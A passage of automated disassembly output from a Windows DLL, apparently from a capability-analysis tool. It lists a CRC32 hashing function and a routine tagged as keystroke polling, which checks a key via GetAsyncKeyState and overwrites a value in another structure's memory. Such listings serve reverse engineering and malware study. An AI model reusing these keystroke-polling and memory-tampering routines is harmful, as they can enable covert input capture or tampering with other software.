sub r9, 1
jne 0x180014ed0
not eax
ret
xor eax, eax
ret

Function at 0x1800157d0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
test rcx, rcx
jne 0x1800157dd
xor eax, eax
jmp 0x180015856
mov r9, qword [rcx]
test r9, r9
jne 0x1800157e9
xor eax, eax
jmp 0x180015856
mov r9, qword [r9 + 0x10]
test r9, r9
jne 0x1800157f6
xor eax, eax
jmp 0x180015856
mov r10, r9
mov qword [rsp + 8], r9
xor edx, edx
mov r8d, 0xffffffff
lea r11, [0x18017e450]
mov dword [rsp], edx
mov ecx, r8d
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x180015820
cmp edx, eax
jae 0x18001584c
movsx eax, byte [r10]
xor rax, rcx
movzx ecx, al
shr r8d, 8
xor r8d, dword [r11 + rcx*4]
inc r10
mov qword [rsp + 8], r10
inc edx
jmp 0x18001580d
not r8d
mov eax, r8d
jmp 0x180015856
add rsp, 0x18
ret

Function at 0x180015f60
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x18020f4ad], 0
mov rbx, rcx
je 0x180015fd1
mov ecx, dword [0x18020f5a0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x180015fd1
cmp dword [0x18020f4c4], 1
jne 0x180015fd1
lea rcx, [rbx + 0xb0]
cmp rcx, 0x40000
jbe 0x180015fd1
lea rax, [rcx + 8]
movabs rdx, 0x7fffffff0000
cmp rax, rdx
jae 0x180015fd1
mov rcx, qword [rcx]
add rcx, 0x1fc
cmp rcx, 0x40000
jbe 0x180015fd1
lea rax, [rcx + 4]
cmp rax, rdx
jae 0x180015fd1
mov dword [rcx], 0x3c23d70a
add rsp, 0x20
pop rbx
ret